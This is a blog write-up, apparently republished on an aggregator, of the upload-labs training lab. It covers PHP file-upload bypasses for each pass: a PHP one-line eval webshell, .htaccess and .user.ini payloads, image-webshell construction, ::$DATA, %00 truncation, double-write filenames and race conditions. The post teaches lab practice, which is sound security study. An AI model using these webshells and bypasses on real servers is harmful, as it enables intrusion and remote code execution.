草庐IT

Web安全基础 - Upload Labs

Sanyic's Blog 2023-03-28 原文

Upload Labs

实验来自于https://github.com/c0ny1/upload-labs

环境搭建

phpstudy 推荐

https://blog.csdn.net/A1956936030/article/details/109455651
推荐使用phpstudy来搭建环境,因为很多实验都基于了windows平台的特性,并且dockerhub上的实验版本有点老,只有20关。

docker 不推荐

Docker Desktop的安装不再赘述。
使用的docker命令如下:

docker pull c0ny1/upload-labs
docker images
docker run -dt --name UploadLabs -p 11208:80  c0ny1/upload-labs
docker ps

不要在http://127.0.0.1:11208/进行实验,不然BS默认抓不了本地包。在命令行中使用ipconfig指令查看虚拟网卡进行实验。

Pass 1 js前端验证

刚开始上传文件会提示要创建../upload文件夹
在docker中创建

docker exec -it UploadLabs(自己的容器名) /bin/bash
mkdir ./upload
chown www-data:www-data upload/  //文件夹所属组默认为root

在Chrome中配置Proxy SwitchyOmega插件可以很方便地进行BS抓包

F12查看源代码可以发现checkFIle在前端进行文件名检验

动态修改

根据Js的特性我们打开控制台,利用monkey patch的思路修改该前端验证函数

这下就没有验证限制了

停用Js

在开发者工具下Ctrl + Shitf + P

也可以取消验证限制

BurpSuite 抓包

因为是前端验证,我们先修改一句话木马的后缀名过掉验证,再抓包修改修改后缀名也可以过掉验证。

这里使用doughnuts作为webshell管理器
https://doughnuts3.gitbook.io/doughnuts/ru-men
一句话木马如下,如果无特殊说明eval.php,eval.PHP,eval.jpg等文件内容统一。

<?php @eval($_POST["cmd"]]);?>

Pass 2 MIME检测

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。

其实对应的就是请求包中的Content-Type字段:
BurpSuite抓包将Content-Type: application/octet-stream 改成 image/jpeg 就好。
其他操作相同不再赘述。

Pass 3 黑名单-php别名

提示写到:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
因为这次检测不在客户端实现,所以只能另找方法绕过。

  1. 通过使用可被执行但不常见的后缀名,比如 php5,shtml等等
  2. 上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的MIME类型
  3. 利用后端解析差异
    1. 添加尾随字符,一些组件会去除或忽略尾随空格、点等:exploit.php. /exploit.php+空格
    2. 对点,斜杠 使用URL 编码, 如果验证文件扩展名时没有解码,在服务端被解码,绕过黑名单限制, exploit%2Ephp
    3. 在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的,但服务器使用 C/C++ 中的低级函数处理文件,例如,这可能会导致文件名结尾出现差异:exploit.asp;.jpg或exploit.asp%00.jpg

首先尝试上传eval.php5木马(内容同前),发现连接失败,查看源码的这一行

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

发现存储位置发生了变化,虽然是随机的文件名,但是存在前端回显,右键选择在新标签页打开可以看到文件路径。

再次连接,文件没有被解析,连接失败,说明apache没有设置对php5别名的解析。
更换思路,上传.htaccess文件更改MIME映射,但是.htaccess同样会生成随机数前缀
看其他人的感觉也没有其他思路了,最后还是要修改apache配置?

Pass 4 黑名单-.htaccess

提示写到:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

可以发现黑名单里面没有.htaccess
我们上传自己的.htaccess

SetHandler application/x-httpd-php

这个文件会使服务器将所有文件都以php类型的MIME解释
然后上传eval.jpg,连接

Pass 5 黑名单-.user.ini

提示写到:上传目录存在php文件(readme.php)
这里必须要Windows环境了(前几个都是用的docker,从这里改phpstudy了,要记得关闭windows defender),要用到.user.ini

.user.ini
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理(正常情况下apache不运行在此模块)。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
.user.ini的配置有auto_prepend_file和auto_append_file等。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件,因为auto_perpend_file的作用相当于在index.php开头添加require(xxx)。使用这个的同时也利用了文件包含漏洞。

先切换Ngnix,上传.user.ini

auto_prepend_file=eval.jpg

再上传eval.jpg
然后连接/upload/readme.php文件,会首先包含eval.jpg,得到shell

Pass 6-10 黑名单-Windows其他常见绕过

Pass 6 大小写绕过

$file_ext = strtolower($file_ext); //转换为小写

相比Pass 5 来说第6关js代码少了这一行。因为windows的文件系统对大小写不敏感,因此可以使用PHP,PHp等来绕过。
上传eval.PHP

Pass 7-8 点/空格后缀绕过

上传eval.php抓包后修改为eval.php_(空格)或者eval.php.等。在windows存储到文件系统的时候会自动去掉我们加上的后缀。
Pass 7 上传eval.php_
Pass 8 上传eval.php.

补充一个查资料时看到的方法
利用PHP和Windows环境的叠加特性,以下符号在正则匹配时的相等性,此方法需要上传两次
双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*
1. 先抓包上传一个名为eval.php:.jpg的文件,上传成功后会生成eval.php的空文件
2. 然后将木马文件名改为eval.<再次上传,重写eval.php文件内容,Webshell代码就会写入原来的eval.php空文件中。

Pass 8 可以使用这种方法

Pass 9 ::$DATA

windows平台下如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。

所以这里上传eval.php::$DATA

Pass 10 deldot()

deldot()会从后向前删除点,遇到第一个点后仍会继续删除,遇到空格截止。
所以可以上传eval. .来绕过

Pass 11 黑名单-双写绕过

这关会在上传的文件名中找到黑名单字符串并去除。我们可以将后缀双写,来防止去除。
本关上传eval.pphphp

Pass 12-13 白名单-截断

可以截断绕过的条件是条件: php版本 < 5.3.4 ; magic_quotes_gpc=Off
php在利用$_FILES['upload_file']['name']获取文件名的时候如果遇到了%00则会发生截断
这两关能够利用截断的另外一点在于存储路径可控。

Pass 12 Get截断

本关的关键在$_GET['save_path']是可以有我们控制的。
在构造Get方法的末尾加上eval.php再加上%00来截断$img_path就能得到/upload/eval.php。
接下来传入的eval.jpg会写入到这个文件中。
/upload/eval.php就是最后得到的webshell。

Pass 13 Post截断

大体的结构同上,不过关键的地方变成了$_POST['save_path']
Burpsuite抓包后在Hex视图或者Inspector的Request Body Parameters处修改。

Pass 14-17 图片检测

Pass 14 文件头检测-1

可以传图片马也可以构造图片格式的文件头来伪造

PNG文件头: 89 50 4E 47 0D 0A 1A 0A

JPG文件头: FF D8 FF

GIF (gif)文件头:47494638

图片马的制作可以拿记事本或者010editor打开在图片最后加上一句话木马的内容
也可以用cmd

copy a.jpg/b+eval.php eval.jpg

上传成功后在doughnuts中

doughnuts > connect http://192.168.123.196/UploadLabs/include.php/?file=upload/1020221124175834.jpg POST cmd

成功连接

Pass 15 文件头检测-2

$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);

区别在于利用库函数还是自己实现文件头的检测,不过Pass 14只检测文件头没有检测拓展名,Pass 15就必须要文件头和格式对应了。

Pass 16 文件头检测-3

exif_imagetype读取一个图像的第一个字节并检查其签名,如果发现恰当的签名返回一个对应的常量,否则返回false。返回值和getimagesize()返回值的数组中的索引2的值是一样的,效率比getimagesize更快,返回信息更少。
因此和前面的做法相同。

Pass 17 二次渲染

二次渲染也就是后端在存储文件之前对文件进行了修改,因此如果我们的一句话木马在被修改区域的话就会失效。
使用010editor的文件比较功能,在原文件中找到能够存放一句话木马的不变区域即可。

文件太小可能不是很容易找不变区域。不过在图片中间插入多半就不能正常显示了(
这里上传jpg可能不太好找(也有可能是我的文件的问题),可以试试上传gif

Pass 18-19 条件竞争

Pass 18 条件竞争-1

这关的特点是先存储了文件再进行文件验证,因此只要卡在文件存储和验证之间进行访问,就可以绕过检测。
条件竞争属于并发产生的逻辑漏洞。
这里使用BurpSuite,先抓包再转发到Intruder,清除payload标记,设置payload类型为Null Payloads,选择Continue indefinitely选项

在Resouce Pool设置线程数为100,开始攻击。

慢慢卡是能卡出来的(

Pass 19 条件竞争-2

和上一关类似,不过这关的引导不是很好,要上传图片马利用文件包含,而且路径设置不太对。

Pass 20-21 保存

Pass 20 保存-黑名单

思路其实和之前的黑名单一样
利用._后缀绕过,PHP和windows混合环境或者%00(注意版本)进行截断

额外的一种思路是对于move_uploaded_file(),这个函数保存文件时会忽略末尾的/.
上传文件:eval.php
保存文件名:eval.php/.(访问时访问eval.php即可)

Pass 21 保存-白名单&数组

先检测MIME,再进行数组检测,move_uploaded_file()绕过,最后是白名单检测
数组检测绕过基于下列代码

$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

如果save_name不为空,会取得save_name参数,而下列代码会根据数组的内容进行检测和保存

$ext = end($file);
$file_name = reset($file) . '.' . $file[count($file) - 1];

设置save_name数组如下$file[count($file) - 1]就是save_name[1],为空。
因为windows平台的特性,自动保存为eval.php

有关Web安全基础 - Upload Labs的更多相关文章

  1. ruby - 如何使用 Ruby aws/s3 Gem 生成安全 URL 以从 s3 下载文件 - 2

    我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A

  2. ruby - 如何安全地删除文件? - 2

    在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?

  3. postman接口测试工具-基础使用教程 - 2

    1.postman介绍Postman一款非常流行的API调试工具。其实,开发人员用的更多。因为测试人员做接口测试会有更多选择,例如Jmeter、soapUI等。不过,对于开发过程中去调试接口,Postman确实足够的简单方便,而且功能强大。2.下载安装官网地址:https://www.postman.com/下载完成后双击安装吧,安装过程极其简单,无需任何操作3.使用教程这里以百度为例,工具使用简单,填写URL地址即可发送请求,在下方查看响应结果和响应状态码常用方法都有支持请求方法:getpostputdeleteGet、Post、Put与Delete的作用get:请求方法一般是用于数据查询,

  4. 软件测试基础 - 2

    Ⅰ软件测试基础一、软件测试基础理论1、软件测试的必要性所有的产品或者服务上线都需要测试2、测试的发展过程3、什么是软件测试找bug,发现缺陷4、测试的定义使用人工或自动的手段来运行或者测试某个系统的过程。目的在于检测它是否满足规定的需求。弄清预期结果和实际结果的差别。5、测试的目的以最小的人力、物力和时间找出软件中潜在的错误和缺陷6、测试的原则28原则:20%的主要功能要重点测(eg:支付宝的支付功能,其他功能都是次要的)80%的错误存在于20%的代码中7、测试标准8、测试的基本要求功能测试性能测试安全性测试兼容性测试易用性测试外观界面测试可靠性测试二、质量模型衡量一个优秀软件的维度①功能性功

  5. ES基础入门 - 2

    ES一、简介1、ElasticStackES技术栈:ElasticSearch:存数据+搜索;QL;Kibana:Web可视化平台,分析。LogStash:日志收集,Log4j:产生日志;log.info(xxx)。。。。使用场景:metrics:指标监控…2、基本概念Index(索引)动词:保存(插入)名词:类似MySQL数据库,给数据Type(类型)已废弃,以前类似MySQL的表现在用索引对数据分类Document(文档)真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear

  6. ruby - 用 YAML.load 解析 json 安全吗? - 2

    我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("

  7. ruby - 如何配置 Ruby Mechanize 代理以通过 Charles Web 代理工作? - 2

    我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe

  8. ruby-on-rails - 安全地显示使用回形针 gem 上传的图像 - 2

    默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同

  9. ruby - 使写入文件线程安全 - 2

    我在一个ruby​​文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}

  10. 【网络】-- 网络基础 - 2

    (本文是网络的宏观的概念铺垫)目录计算机网络背景网络发展认识"协议"网络协议初识协议分层OSI七层模型TCP/IP五层(或四层)模型报头以太网碰撞路由器IP地址和MAC地址IP地址与MAC地址总结IP地址MAC地址计算机网络背景网络发展        是最开始先有的计算机,计算机后来因为多项技术的水平升高,逐渐的计算机变的小型化、高效化。后来因为计算机其本身的计算能力比较的快速:独立模式:计算机之间相互独立。    如:有三个人,每个人做的不同的事物,但是是需要协作的完成。    而这三个人所做的事是需要进行协作的,然而刚开始因为每一台计算机之间都是互相独立的。所以前面的人处理完了就需要将数据

随机推荐